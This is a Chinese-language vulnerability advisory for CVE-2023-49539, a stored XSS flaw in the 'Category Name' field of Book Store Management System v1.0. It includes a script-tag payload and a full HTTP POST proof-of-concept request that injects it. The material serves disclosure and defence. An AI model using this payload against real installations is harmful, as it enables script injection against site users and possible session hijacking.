
描述:Book Store Management System v1.0 被发现存在跨站脚本(XSS)漏洞,位于 "/bsms_ci/index.php/category"。此漏洞允许攻击者通过向 "Category Name" 字段注入特制载荷来执行任意 web 脚本或 HTML。
脆弱产品版本:Book Store Management System v1.0
CVE 作者:Geraldo Alcântara
日期:2023年11月29日
确认时间:2023年12月15日
CVE:CVE-2023-49539
测试环境:Windows
漏洞存在于 "/bsms_ci/index.php/category/" 页面。具体来说,在创建/编辑类别时,"Category Name" 字段被识别为脆弱点。攻击者可以利用此漏洞,在类别创建/编辑过程中向 "Category Name" 字段注入跨站脚本(XSS)载荷。
<\td><script>alert(document.domain)</script>
POST /bsms_ci/index.php/category/category_update HTTP/1.1
Host: 192.168.68.148
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:120.0) Gecko/20100101 Firefox/120.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: pt-BR,pt;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate, br
Content-Type: application/x-www-form-urlencoded
Content-Length: 113
Origin: http://192.168.68.148
Connection: close
Referer: http://192.168.68.148/bsms_ci/index.php/category
Cookie: csrftoken=1hWW6JE5vLFhJv2y8LwgL3WNPbPJ3J2WAX9F2U0Fd5H5t6DSztkJWD4nWFrbF8ko; sessionid=xrn1sshbol1vipddxsijmgkdp2q4qdgq; ci_session=72ruij3r4688s92v273ncnqjm150uvu8
Upgrade-Insecure-Requests: 1
category_code_lama=12&category_code=12&category_name=%3c%5ctd%3e%3cscript%3ealert(document.domain)%3c%2fscript%3e&edit=Save
发现者/致谢:
Geraldo Alcântara